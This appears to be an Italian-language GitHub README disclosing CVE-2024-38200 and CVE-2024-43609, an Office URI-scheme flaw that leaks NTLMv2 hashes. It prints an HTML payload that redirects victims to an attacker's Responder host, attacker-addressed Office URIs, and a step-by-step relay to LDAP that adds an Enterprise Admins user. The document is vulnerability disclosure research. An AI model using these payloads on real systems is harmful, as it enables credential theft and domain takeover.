passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Microsoft Office NTLMv2 Disclosure Vulnerability
L'acquisizione dell'hash NTLMv2 tramite metodo HTTP non è stata corretta. Il valore dell'hash NTLMv2 può ancora essere ottenuto tramite HTTP e inoltrato a LDAP o ADCS. MSRC ha dichiarato questa situazione come "come presentato, sembra far parte del design attuale."
Anche se questa vulnerabilità viene corretta, come indicato nella sezione Autenticazione integrata di Windows, il valore dell'hash può ancora essere ottenuto e inoltrato con le impostazioni predefinite.
In precedenza, è stato condiviso un metodo per acquisire hash NTLMv2 tramite SMB utilizzando gli schemi URI di Office. L'idea principale era semplice. Inviare l'URL del file HTML sottostante alla vittima e acquisire l'hash NTLMv2 tramite SMB. LINK
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<indirizzo responder>\leak\leak.docx';
</script>
</html>
Questo è per me il punto di ispirazione. Se osserviamo la pagina Schemi URI di Office, possiamo notare l'uso del protocollo https:// all'interno dello schema URI. Questa situazione indica che anche http:// potrebbe potenzialmente essere utilizzato. Acquisire l'hash NTLMv2 tramite HTTP è più vantaggioso che tramite SMB per eseguire un attacco di NTLM Relaying contro un server Domain Controller Tabella di relay.
Quando ho utilizzato l'URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx contro Office 2016 MSO (16.0.4266.1001) 32-bit, è apparso un avviso per proteggere l'utente da attività dannose, ma non posso dire lo stesso per Microsoft 365 Office e Office 2019. Queste versioni accedono a un file remoto di Office senza avviso e possono essere sfruttate per acquisire l'hash NTLMv2 tramite i protocolli SMB e HTTP.
Ho scoperto che la patch per CVE-2024-38200 non è stata applicata correttamente. Dopo la pubblicazione della patch, ho testato la vulnerabilità contro Office 2019 Volume Licensed: Versione 1808 (Build 10413.20020) e Microsoft 365 MSO 2408 Build 16.0.17928.20114 e ho determinato che la vulnerabilità può ancora essere sfruttata come mostrato di seguito CVE-2024-43609.
Possiamo reindirizzare una richiesta HTTP a un percorso UNC con reindirizzamento 302 quando un'applicazione Office effettua una richiesta tramite gli schemi URI di Office (es., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). Lo script uncredirect.py gestisce la richiesta HTTP inviata con uno schema URI di Office e la reindirizza a un percorso UNC che include l'indirizzo IP di Responder. Questa situazione renderebbe possibile acquisire l'hash NTLMv2 tramite SMB e bypassare la restrizione di sicurezza per l'URI ms-word:ofe|u|\\<indirizzo responder>\leak\leak.docx.
uncredirect.py e responder.office.html all'utente vittima.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
Acquisire l'hash NTLMv2 tramite HTTP è più vantaggioso che tramite SMB per il relay su LDAP. Quando un file viene richiesto tramite un URI di Office, l'hash NTLMv2 può essere ottenuto tramite HTTP senza reindirizzare a un percorso UNC utilizzando un reindirizzamento 302. Questo metodo di sfruttamento non può essere eseguito su Internet perché, a meno che non vi sia una configurazione errata in Proprietà Internet, l'autenticazione NTLM non avverrà tramite HTTP per un host esterno alla rete aziendale.
Tuttavia, ritengo che questo sia un metodo efficace per attacchi di relay e escalation dei privilegi.
Le impostazioni di "Proprietà Internet" influenzano il comportamento di autenticazione NTLM delle applicazioni Office. Possiamo vederlo con alcuni esempi. Supponiamo di utilizzare il formato URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx per acquisire l'hash NTLMv2.
Quando uno dei GPO elencati di seguito viene applicato a una macchina vittima che fa parte del dominio, l'applicazione Office esegue automaticamente l'autenticazione.
Accesso automatico con nome utente e password correnti è impostato per Autenticazione utente in Zona InternetIntranet locale (es., 192.168.*.*, 192.168.0-255.*, 192.168.1.7)Siti attendibili (es., 192.168.*.*, 192.168.0-255.*, 192.168.1.7) e Accesso automatico con nome utente e password correnti è impostato per Autenticazione utente nella zona Siti attendibili
Nel caso in cui uno dei GPO sopra menzionati sia applicato, dopo che l'utente vittima fa clic sull'URI, il file leak.docx verrà recuperato dall'applicazione Office dal server dell'attaccante e l'hash NTLMv2 verrà ottenuto perché il GPO applicato fa sì che l'autenticazione NTLM avvenga automaticamente.
Esempio di scenario per abusare del GPO:
Dopo aver impostato l'URI di Office con l'indirizzo IP (es., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), possiamo inviare l'URL del file office.html a un utente con privilegi di amministratore di dominio e inoltrare l'hash acquisito al server LDAP(S) utilizzando ntlmrelayx. ntlmrelayx creerà un nuovo utente e lo aggiungerà al gruppo Enterprise Admins con un semplice clic sul pulsante "Apri".
Nota:
I siti aggiunti tramite GPO possono essere elencati utilizzando le seguenti chiavi di registro.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Intranet locale | 2: Siti attendibili | 3: Siti con restrizioni
Se nessuno dei GPO sopra menzionati è applicato, l'autenticazione NTLM non avverrà automaticamente. Tuttavia, se aggiungiamo un record DNS A e lo utilizziamo all'interno dell'URI di Office, Windows considererà il nome host come parte della zona Intranet. In questo modo, l'autenticazione NTLMv2 avviene automaticamente e un utente standard può escalare i privilegi senza bisogno di un GPO configurato male. Qualsiasi utente di dominio con privilegi standard può aggiungere un record DNS inesistente quindi questo attacco funziona con le impostazioni predefinite per un utente di dominio.
